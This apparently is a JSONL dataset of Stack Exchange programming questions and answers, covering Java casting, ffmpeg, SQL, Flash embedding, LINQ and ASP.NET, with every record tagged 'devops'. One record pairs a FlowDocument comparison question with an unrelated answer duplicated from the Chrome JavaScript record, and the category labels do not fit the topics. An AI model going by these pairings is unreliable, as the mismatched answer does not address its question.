{"id": "hf_8935077c22f7", "question": "<p>In C# if I want to convert a double (1.71472) to an int then I get the answer 2.  If I do this in Java using intValue() method, I get 1 as the answer.</p>\n\n<p>Does Java round down on conversions?</p>\n\n<p>Why do the Java API docs have such scant information about their classes i.e. </p>\n\n<blockquote>\n  <p>Returns the value of the specified\n  number as an int. This may involve\n  rounding or truncation.</p>\n</blockquote>\n\n<p>A bit more info about the rounding would have been helpful!</p>\n", "question_body": "", "answer": "Java rounds toward zero when narrowing from a floating point to an integer type.\nThere's more documentation about the general rules in the\nJava Language Specification\n. Note that while the documentation in\n```\nNumber\n```\nleaves options open for subclasses, the documentation on the concrete boxing types is more explicit:\nReturns the value of this Double as an\n  int (by casting to type int).\nWhen using\nBigDecimal\n, you can specify one of eight different rounding policies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.890024"}
{"id": "hf_1827ff906177", "question": "<p>I am writing a text editor for Mac OS X.  I need to display hidden characters in an NSTextView (such as spaces, tabs, and special characters).  I have spent a lot of time searching for how to do this but so far I have not found an answer.  If anyone could point me in the right direction I would be grateful.</p>\n", "question_body": "", "answer": "Have a look at the NSLayoutManager class. Your NSTextView will have a layout manager associated with it, and the layout manager is responsible for associating a character (space, tab, etc.) with a glyph (the image of that character drawn on the screen).\nIn your case, you would probably be most interested in the\n```\nreplaceGlyphAtIndex:withGlyph:\n```\nmethod, which would allow you to replace individual glyphs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.925213"}
{"id": "hf_35c0f9da6d13", "question": "<p>Where is the best documentation of ffmpeg and libavcodec?</p>\n\n<p>It appears that ffmpeg supports many undocumented options that it is very hard to find a good reference.</p>\n", "question_body": "", "answer": "One of the things that can be quite useful:\n```\n```\nffmpeg -formats\n```\n```\nlists all the codecs and containers that can be used...I haven't found any other good place where these can be found, probably because they depend on what libraries your ffmpeg copy was built with.  This page (\nhttp://ffmpeg.mplayerhq.hu/general.html\n) has some of them, but don't tell you what to enter at the command line.\nAlso, howto-pages.org has a decent tutorial here:\nhttp://howto-pages.org/ffmpeg/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.986861"}
{"id": "hf_cdafd42b94e7", "question": "<p>I have 2 tables, an active table and an inactive table. I want to <em>move</em> rows from the active to the inactive table. My first thought was</p>\n\n<pre><code>insert into inactive select * from active where ...\ndelete from active active where ...\n</code></pre>\n\n<p>However about .42 seconds later I noticed this will drop/duplicate rows if updates alter what the where clause selects.</p>\n\n<p>In this case, I can easily prevent that but what should I do in cases where I can't?</p>\n\n<p>edit: From the answers it look like there isn't an easy/trivial way to do this. I'm really surprised by this. I would think that there would be some substantial benefits to having it.</p>\n", "question_body": "", "answer": "Status flags are your friend.\n```\n```\nUPDATE old_data SET move=\"MARKED\";\nINSERT INTO somewhere... SELECT where move=\"MARKED\";\nDELETE FROM old_data WHERE move=\"MARKED\";\n```\n```\nIf you do this with Autocommit off, it will seize locks all over the place.\nYou can COMMIT after each step, if you want to do a little less locking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.010395"}
{"id": "hf_c7210967122a", "question": "<p>I'm trying to develop some SharePoint workflows for the company I work for, and I'm not too familiar with the ins and outs of the technology.  Normally when I want to familiarize myself with something, I just play with it, look at the properties, find all the methods, etc.  </p>\n\n<p>When I fire up Visual Studio and try to create a SharePoint workflow, it gives me an error indicating I don't have a reference to \"Microsoft.SharePoint.dll\". Someone told me that it was normal to see that because you have to do all your development on the SharePoint Server itself if you want to do workflows.  Is this true?</p>\n\n<p>If so, is there anyone out there that has successfully developed SharePoint workflows in a multi-developer environment without resorting to any \"hacks\"??  Thank you for reading and your responses...</p>\n", "question_body": "", "answer": "Yes, you have to do all your development on a the SharePoint server itself.  Consider using a virtual machine and package up features that you can deploy to your staging and production environments.\nhttp://weblogs.asp.net/erobillard/archive/2007/02/23/build-a-sharepoint-development-machine.aspx\nhttp://www.wssdemo.com/Pages/EntDev.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.049296"}
{"id": "hf_d47f59d4d7e6", "question": "<p>We were working on a design, and for that we created the skeleton of the classes in our main branch.  Now, we are starting to code, and for that we got a new branch.  So, it would be nice if I can move all the new files in the main branch into the new branch.  However, I cannot check them in yet.  So, is it possible to integrate the checked out changelist?  Thanks.</p>\n", "question_body": "", "answer": "I never found a way to do that within perforce, but you can at least partially automate it.\nUsually when I had to do something like that I'd check out the files in the branch I want to move things to, then use\nWinMerge\nto diff the branches and copy the changes over.  Once that's done you can revert the changes in the original branch and check them in in the new branch.\nIt's not the best solution (no automatic checkout/add/delete of files on the new branch), but was the fastest method I came up with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.072159"}
{"id": "hf_976a4ae39431", "question": "<p>Recently there has been quite some hype around all the different mocking frameworks in the .NET world. I still haven't quite grasped what is so great about them. It doesn't seem to be to hard to write the mocking objects I need myself. Especially with the help of Visual Studio I quickly can write a class that implements the interface I want to mock (it auto-generates almost everything for me) and then write an implementation for the method(s) I need for my test. Done! Why going through the hassle of understanding a mocking framework for the sole purpose of saving a few lines of code. Or is a mocking framework not only about saving lines of code?  </p>\n", "question_body": "", "answer": "Well I certainly don't think that you NEED a mocking framework. It's a framework like any other, and it's ultimately designed to save you some time and effort. You can also do things like roll your own common data structures like stacks and queues, but isn't it generally easier to just use the ones built into the class libraries that ship with the compiler/IDE of your language of choice?\nI'm sure there are other compelling reasons for using mocking frameworks, though I'd leave it to the TDD and unit testing gurus to answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.118051"}
{"id": "hf_a9ba785ad15d", "question": "<p>Which version of JavaScript does Google Chrome support in relation to Mozilla Firefox?  In other words, does Chrome support JavaScript 1.6, 1.7, or 1.8 which Firefox also supports or some combination of them?</p>\n", "question_body": "", "answer": "Google Chrome supports up to Javascript 1.7:\n```\n```\n<script language=\"javascript1.7\">alert(1.7);</script> - Alerts\n<script language=\"javascript1.8\">alert(1.8);</script> - Doesn't alert\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.153694"}
{"id": "hf_747383c327e0", "question": "<p>We have 2 flowdocuments that we'd like to compare similar to when using a diff viewer (winmerge, beyond compare, etc).  Has anybody done this or know how to get the text out of a flowdocument to do a compare?</p>\n", "question_body": "", "answer": "Google Chrome supports up to Javascript 1.7:\n```\n```\n<script language=\"javascript1.7\">alert(1.7);</script> - Alerts\n<script language=\"javascript1.8\">alert(1.8);</script> - Doesn't alert\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.177273"}
{"id": "hf_495688b78806", "question": "<p>I want to embed a swf over a html page, like a floating video watching panel. I already have a swf file which will automatically adjust its size according to the browser size, and the swf file is partially transparent. I thought I can just add a div tag, make the position absolute and change z-index bigger, but that doesn't work because the swf just replaced everything that's on the page. </p>\n\n<p>Here's what I did</p>\n\n<pre><code>&lt;script&gt;\n      swfobject.embedSWF(\"swf/float.swf\", \"header\", \"100%\", \"100%\", \"9.0.0\");\n&lt;/script&gt;\n\n&lt;body bgcolor=\"#000000\"&gt;\n      &lt;div id=\"header\"&gt;&lt;/div&gt;\n      &lt;div id=\"shell\"&gt;\n          things in my html\n      &lt;/div&gt;\n&lt;/body&gt;\n\n#header {\n    position:absolute;\n    z-index:100;\n\n}\n</code></pre>\n\n<p>Any idea? Thanks.</p>\n", "question_body": "", "answer": "I believe the problem with this is that the CSS doesn't work well with\n```\n<object />\n```\ntags.  The\n```\nswfobject.embedSWF\n```\nturns the\n```\n<div id=\"header\"></div>\n```\ninto an\n```\n<object />\n```\ntag with a bunch of attributes that might be effecting the CSS.  If you create a wrapper DIV around the header DIV and apply the CSS to the wrapper DIV, everything works better.  You also need to add 100% width and height in the CSS.  Here's the revised source:\n```\n```\n<script>\n    swfobject.embedSWF(\"swf/float.swf\", \"header\", \"100%\", \"100%\", \"9.0.0\");\n</script>\n\n<body bgcolor=\"#000000\">\n    <div id=\"wrapper\">\n        <div id=\"header\"></div>\n        </div>\n    <div id=\"shell\">\n        things in my html\n    </div>\n</body>\n\n#wrapper {\n    position:absolute;\n    z-index:100;\n    width:100%;\n    height:100%;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.211751"}
{"id": "hf_188fa4334166", "question": "<p>for the following:</p>\n\n<pre><code>( a != b ) ? cout&lt;&lt;\"not equal\" : cout&lt;&lt;\"equal\";\n</code></pre>\n\n<p>suppose I don't care if it's equal, how can I use the above statement by substituting <code>cout&lt;&lt;\"equal\"</code> with a no-op.</p>\n", "question_body": "", "answer": "This is very confusing code. You\ncould\njust write\n```\n```\ncond ? cout << \"equal\" : cout;\n```\n```\nbut you won't (will you?) because you've got conventional\n```\nif\n```\nfor that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.234908"}
{"id": "hf_761e960e264b", "question": "<p>I am designing a web app and I intent to embed data on an xml island so that I can dynamically render it on an HTML table on the client-side based on options the users will select.</p>\n\n<p>I have the broad concepts, but I need pointers on how to use DOM in navigating my xml. And how to update my xml island possibly for posting back to the server?</p>\n\n<p>Please any links to online resources or a quick advice will be very appreciated.</p>\n\n<p>NB: I understand most of the dynamic HTML concepts and server and client side stuff, so don't shy being very technical in your response:)</p>\n", "question_body": "", "answer": "In\nW3C\nHTML there are no XML data islands (unless you're referring to external XML file linked via frames loaded using Javascript), but you can re-use HTML elements and insert metadata in\n```\nclass\n```\n,\n```\ntitle\n```\n(if you care about HTML4 validity),\n```\ndata-*\n```\n(HTML5) or your custom attributes.\nFor DOM navigation you've got\nDOM Core\n, like\n```\nelement.childNodes\n```\n,\n```\n.nextSibling\n```\n,\n```\n.getAttribute()\n```\n, etc.\nDOM can be verbose and tedious to use (e.g. when looking for elements in DOM you have to be careful to skip text nodes), so there are JS libraries like jQuery and Prototype built on top of it that offer more convenient API.\nIf you intend to a lot of DOM transformations, then Javascript API for\nXPath\nand\nXSLT processor\nwill be handy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.263583"}
{"id": "hf_c6410b5cabce", "question": "<p>In javascript how do I get a handle on the frame that I'm in based on an element in that frame?</p>\n\n<pre><code>function myFunction(elementInFrame){\n   // here I want to get a handle on the frame that elementInFrame lives in\n}\n</code></pre>\n", "question_body": "", "answer": "In IE you can do\n```\nelementInFrame.document.parentWindow\n```\nDoesn't work in Firefox unfortunately.\nEdit: If you're using frames then in FF you could do it the long way... loop through all the frames until you find the element you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.286861"}
{"id": "hf_10581be28c91", "question": "<p>I need to be able to display some data in Eclipse in a grid/table control... I need things like paging, multiple column sorting, column choosing, etc. There is an SWT Table and the <a href=\"http://www.eclipse.org/nebula/widgets/grid/grid.php\" rel=\"nofollow noreferrer\">Nebula project has a grid in alpha</a>.</p>\n\n<p>Does what I need exist? 3rd party maybe? Doesn't have to be free, we can pay for the functionality.</p>\n", "question_body": "", "answer": "You could use the facilities of table presentation offered by the\nBIRT plugin\n, that is if you are really advance\ntable layout needs\n.\n(source:\ntheserverside.com\n)\n(otherwise the classic SWT\nTableViewer\noffers already some of the feature you are after\n(source:\nrichclient2.eu\n)\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.332908"}
{"id": "hf_5c01b4791209", "question": "<p>I've saved an entire webpage's html to a string, and now <b>I want to grab the \"href\" values</b> from the links, preferably with the ability to save them to different strings later. What's the best way to do this?</p>\n\n<p>I've tried saving the string as an .xml doc and parsing it using an XPathDocument navigator, but (surprise surprise) it doesn't navigate a not-really-an-xml-document too well.</p>\n\n<p>Are regular expressions the <b>best</b> way to achieve what I'm trying to accomplish?</p>\n", "question_body": "", "answer": "Regular expressions are one way to do it, but it can be problematic.\nMost HTML pages can't be parsed using standard html techniques because, as you've found out, most don't validate.\nYou could spend the time trying to integrate\nHTML Tidy\nor a similar tool, but it would be much faster to just build the regex you need.\nUPDATE\nAt the time of this update I've received 15 up and 9 downvotes.  I think that maybe people aren't reading the question nor the comments on this answer.  All the OP wanted to do was grab the href values.\nThat's it.\nFrom that perspective, a simple regex is just fine.  If the author had wanted to parse other items then there is no way I would recommend regex as I stated at the beginning, it's problematic at best.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.355764"}
{"id": "hf_30f64a9d9055", "question": "<p>If I have an embedded browser in a windows form, is it possible to initiate a javascript method from the container application?  </p>\n", "question_body": "", "answer": "You can use Document.InvokeScript, as outlined in this excellent MSDN article:\nHow to: Implement Two-Way Communication Between DHTML Code and Client Application Code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.424153"}
{"id": "hf_035360868715", "question": "<p>I have an html like this:</p>\n\n<pre><code>&lt;div id=\"container1\"&gt;\n    &lt;div class=\"dragme\"&gt;drag me&lt;/div&gt;\n&lt;/div&gt;\n&lt;div id=\"container2\"&gt;\n    &lt;div class=\"dragme\"&gt;drag me&lt;/div&gt;\n&lt;/div&gt;\n&lt;div id=\"droponme\"&gt;&lt;/div&gt;\n\n$(\".dragme\").draggable();\n$(\"#droponme\").droppable({\n    accept: \".dragme\",\n    drop: function(e, u) { alert( /* find id of the container here*/ ); };\n});\n</code></pre>\n\n<p>I want to find the container of the draggable object on drop event handler. How can I do this?</p>\n", "question_body": "", "answer": "```\n```\n$(\".dragme\").draggable();\n$(\"#droponme\").droppable({\n    accept: \".dragme\",\n    drop: function(e, u) {\n        alert(u.draggable.parent().attr('id') );\n        // in your example: container1 or container2\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.447732"}
{"id": "hf_a472494b72e1", "question": "<p>What is the differences between those 2 assuming I'm using SQL Server as my database? Are they the same?</p>\n", "question_body": "", "answer": "Long answer: google.\nShort answer: using entity framework, you will be able to create something based on classes (partial, that you can \"extend\") resembling domain objects (not true DDD though, that's why NHibernate still exists and linq to nhibernate is being developed), using sql you will be just thinking database and tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.483358"}
{"id": "hf_fd0b5d4459a3", "question": "<p>I have a third-party library in my SVN repository and I'd like to associate source/javadoc with it locally in Eclipse. I.e., there should be some local setting (for example, an entry in the <code>local.properties</code> file) that associates the source/javadoc with the JAR file, but which doesn't introduce local dependencies into the repository via <code>.classpath</code>. Ideally I'd have</p>\n\n<pre><code>lib_src_dir = /my/path/to/lib/src\n</code></pre>\n\n<p>in <code>local.properties</code> and then</p>\n\n<pre><code>&lt;classpathentry kind=\"lib\" path=\"lib.jar\" sourcepath=\"${lib_src_dir}\"&gt;\n</code></pre>\n\n<p>in <code>.classpath</code>. Can this be done?  </p>\n\n<p>[EDIT] @VonC's answer is helpful... Is there a way to load Path Variables from a text file (e.g., <code>local.properties</code>) instead of going through Window -> Preferences -> General -> Workspace -> Linked Resources?</p>\n", "question_body": "", "answer": "I believe this would be better achieved through:\nthe creation of a linked folder combined with\nthe declaration of a linked resource\nThe linked resource defines a path variable which would be equals to\n```\n/my/path/to/lib/src\n```\nThe linked folder would refers to your linked resource\n(you can use a variable and not a fixed path, with the \"Variable\" button)\nThe variable is actually always local (to one's workspace), and will be modified through the\n```\nLinked Resources\n```\npreference screen.\nThe linked folder can also be... a linked\nfile\n, thus allowing the reference of an archive through a relative path (relative to the variable).\nThen this linked file (here a linked archive) can be associated to your\n```\nclasspathentry\n```\nin the \"\n```\nsource\n```\n\" attribute.\nThe problem with Linked Resources is they are local to the workspace, in the preferences.\nYou can\nexport the preferences in a\n```\n[myPrefs.epf]\n```\nfile\n, and then trim the exported file in order to leave only the lines containing\n```\npathvariable\n```\n:\n```\n```\n/instance/org.eclipse.core.resources/pathvariable.MY_DIRECTORY=/my/path/to/lib/src\n```\n```\nAnyone can then import this special preference file, which will only affect the \"\n```\nLinked Resources\n```\n\" part.\nThat solution is not very satisfying, since the\n```\n.epf\n```\npreference file can not be loaded automatically in the project\n.\nWhen I setup a project with a linked resources defining a path, I always leave a big\n```\nREADME.txt\n```\nat the root of my project, in order to incite the user of said project to define that same linked resources with his/her own fixed local path.\nSeveral bugs\nare in progress to enhance this situation or around the\nLinked Resources topic\n.\nEspecially:\nExporting a project with linked resources\nRelative paths without variables\nHave linked resources relative to workspace paths\nWould like to use path relative to workspace root\nDevByStarlight\nmentions in\nthe comments\nthe project (not very active since Oct. 2011)\nworkspacemechanic\n.\nThe Workspace Mechanic automates maintenance of your Eclipse environment by tweaking preferences, adding extension locations, and so on. You can use it to:\nCreate a consistent environment among groups as large as the entire company, your local team, or even among your own many workspaces\nSave time setting up new workspaces\nCreate tasks that ensure your favorite new preferences are applied to all your current and future workspaces. (This is one of our favorite features!)\nThe key to the Workspace Mechanic's behavior is the\n```\nTask\n```\n.\nA task describes a simple test and an action that, when run, changes the environment so the test will subsequently pass.\n```\nTasks\n```\ncan come in many forms: preference files, Java classes, Groovy scripts and Eclipse extensions. You can easily define your own Tasks.\nIt comes with a collection of scripts:\nworkspace-mechanic\nworkspacemechanic-settings", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.552516"}
{"id": "hf_36186f135786", "question": "<p>Can anyone tell me how to display all the selected value of my multi value parameter in SSRS report. When giving <code>parameter.value</code> option it gives error.</p>\n", "question_body": "", "answer": "You can use the \"Join\" function to create a single string out of the array of labels, like this:\n```\n```\n=Join(Parameters!Product.Label, \",\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.588929"}
{"id": "hf_290d7390ae47", "question": "<p>I have a class which has a private member <code>$content</code>. This is wrapped by a get-method:</p>\n\n<pre><code>class ContentHolder\n{\n    private $content;\n    public function __construct()\n    {\n        $this-&gt;content = \"\";\n    }\n\n    public function getContent()\n    {\n        return $this-&gt;content;\n    }\n}\n$c = new ContentHolder();\n$foo = array();\n$foo['c'] = $c-&gt;getContent();\n</code></pre>\n\n<p>Now <code>$foo['c']</code> is a reference to <code>content</code>, which is what I don't understand. How can I get the value? Thank You in advance.</p>\n", "question_body": "", "answer": "In PHP, you don't say: \"\n```\n$foo = new array();\n```\n\"\nInstead, you simply say: \"\n```\n$foo = array();\n```\n\"\nI ran your code (PHP 5.2.6) and it seems to work fine.  I tested it by dumping the array:\n```\n```\nvar_dump($foo);\n```\n```\nThis outputs:\n```\n```\narray(1) {\n  [\"c\"]=>\n  string(0) \"\"\n}\n```\n```\nI can also simple use\n```\necho\n```\n:\n```\n```\necho \"foo[c] = '\" . $foo['c'] . \"'\\n\";\n```\n```\nThis outputs:\n```\n```\nfoo[c] = ''\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.611691"}
{"id": "hf_d1ff1b0d7692", "question": "<p>I want to create buttons with icons in Flex dynamically using Actionscript.</p>\n\n<p>I tried this, with no success:</p>\n\n<pre><code>var closeButton = new Button();\ncloseButton.setStyle(\"icon\", \"@Embed(source='images/closeWindowUp.png\");\n</code></pre>\n", "question_body": "", "answer": "I'm assuming you're adding it to the stage?\nAlso, I think your Embed is missing a close quote / paren.\n```\n```\ncloseButton.setStyle(\"icon\", \"@Embed(source='images/closeWindowUp.png\");\n```\n```\nshould be:\n```\n```\ncloseButton.setStyle(\"icon\", \"@Embed(source='images/closeWindowUp.png')\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.646599"}
{"id": "hf_522b0c3bb9b3", "question": "<p>I'm trying to select the \"name\" field from the author node in an ATOM feed using LINQ. I can get all the fields I need like so:</p>\n\n<pre><code>XDocument stories = XDocument.Parse(xmlContent);\nXNamespace xmlns = \"http://www.w3.org/2005/Atom\";\nvar story = from entry in stories.Descendants(xmlns + \"entry\")\n            select new Story\n            {\n                Title = entry.Element(xmlns + \"title\").Value,\n                Content = entry.Element(xmlns + \"content\").Value\n            };\n</code></pre>\n\n<p>How would I go about selecting the author -> name field in this scenario?  </p>\n", "question_body": "", "answer": "You basically want:\n```\n```\nentry.Element(xmlns + \"author\").Element(xmlns + \"name\").Value\n```\n```\nBut you might want to wrap that in an extra method so you can easily take appropriate action if either the author or name elements are missing. You might also want to think about what you want to happen if there's more than one author.\nThe feed might also have an author element... just another thing to bear in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.675545"}
{"id": "hf_23a41985cf7d", "question": "<p>I have some Jasper reports which are displayed in HTML format. I would like the width of the columns in the HTML tables to automatically resize to fit the content of the widest cell (in that column), such that all the data is displayed.</p>\n\n<p>Currently this does not happen because the HTML generated by Jasper specifies fixed widths for the &lt;table&gt; and some &lt;td&gt; elements, e.g.</p>\n\n<pre><code>&lt;td style=\"width: 20px; height: 17px;\"&gt;\n  &lt;span style=\"font-family: Arial; font-size: 11px;\"&gt;foo-bar-baz@examp&lt;/span&gt;\n&lt;/td&gt;\n</code></pre>\n\n<p>I can't simply remove all these width properties (using JavaScript), because (as shown in the HTML above) any data that would be hidden when using these widths is not even returned to the client-side</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "While not perfect, you could flag the field to stretch with overflow. This would at least give you all the data. In your jrxml file it would be similar to:\n```\n```\n<textField isStretchWithOverflow=\"true\" hyperlinkType=\"None\">\n    <reportElement style=\"Report Sub-Title\" x=\"0\" y=\"84\" width=\"802\" height=\"20\"/>\n    <textElement/>\n    <textFieldExpression class=\"java.lang.String\">\n        <![CDATA[\"For the period ...]]>\n    </textFieldExpression>\n</textField>\n```\n```\nI'm afraid I don't know of any feature of Jasper reports that would allow the dynamic resizing of column widths - It is probably one of those things that makes sense for HTML but little sense for other output formats such as PDF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.710395"}
{"id": "hf_367516030de5", "question": "<p>i am programatically adding Webcontrols in to a User Control i am also adding a javascript event passing the controlID as a parameter but the clientID is the one i assigned a it does not contain the one that asp.net generates</p>\n\n<pre><code>   var txt = new TextBox();\n   txt.ID = \"MyID\"+Number;\n\n   chkBox.Attributes.Add(\"onClick\", \"EnableTxtBox('\" +txt.ClientID + \"');\");\n</code></pre>\n\n<p>i can workAround this by adding the parent control ID</p>\n\n<pre><code>   chkBox.Attributes.Add(\"onClick\", \"EnableTxtBox('\" + this.ClientID+\"_\"+txt.ClientID + \"');\");\n</code></pre>\n\n<p>On which Page life cycle are the Client IDs generated?</p>\n", "question_body": "", "answer": "You need to add the control to the control hierarchy before you add the attribute.\n```\n```\nvar txt = new TextBox();\n   txt.ID = \"MyID\"+Number;\n   Controls.Add ( txt );\n   chkBox.Attributes.Add(\"onClick\", \"EnableTxtBox('\" +txt.ClientID + \"');\");\n```\n```\nControlCollection is no ordinary collection; it notifies the owner control when controls are added, and the control can take appropriate actions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.733344"}
{"id": "hf_c44994a8293b", "question": "<p>When I make the same query twice, the second time it does not return new rows form the database (I guess it just uses the cache).</p>\n\n<p>This is a Windows Form application, where I create the dataContext when the application starts.</p>\n\n<p>How can I force Linq to SQL not to use the cache?</p>\n\n<p>Here is a sample function where I have the problem:</p>\n\n<pre><code>public IEnumerable&lt;Orders&gt; NewOrders()\n{\n    return from order in dataContext.Orders\n           where order.Status == 1\n           select order; \n}\n</code></pre>\n", "question_body": "", "answer": "The simplest way would be to use a new DataContext - given that most of what the context gives you is caching and identity management, it really sounds like you just want a new context. Why did you want to create just the one and then hold onto it?\nBy the way, for simple queries like yours it's more readable (IMO) to use \"normal\" C# with extension methods rather than query expressions:\n```\n```\npublic IEnumerable<Orders> NewOrders()\n{\n    return dataContext.Orders.Where(order => order.Status == 1);\n}\n```\n```\nEDIT: If you\nnever\nwant it to track changes, then set\nObjectTrackingEnabled\nto false before you do anything. However, this will severely limit it's usefulness. You can't just flip the switch back and forward (having made queries between). Changing your design to avoid the singleton context would be much better, IMO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.759819"}
{"id": "hf_a7133fae4bce", "question": "<p>I have HTML code edited by FCKEditor stored in a database and would like to display (well render) it onto a view. So, for instance, something stored as:</p>\n<pre><code>&amp;lt;&amp;gt;pre&amp;lt;&amp;gt;This is some sample text&amp;lt;&amp;gt;pre&amp;lt;/&amp;gt\n</code></pre>\n<p>Will be displayed to the user as:</p>\n<pre><code>This is some sample text\n</code></pre>\n<p>(With the appropriate style for pre-formatted-text)</p>\n<p>The view already has the required string to display from <code>ViewData</code>, I'm just not sure what the best way to show it to the user is.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n<%= System.Web.HttpUtility.HtmlDecode(yourEncodedHtmlFromYouDatabase) %>\n```\n```\nMore info\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:50.838230"}
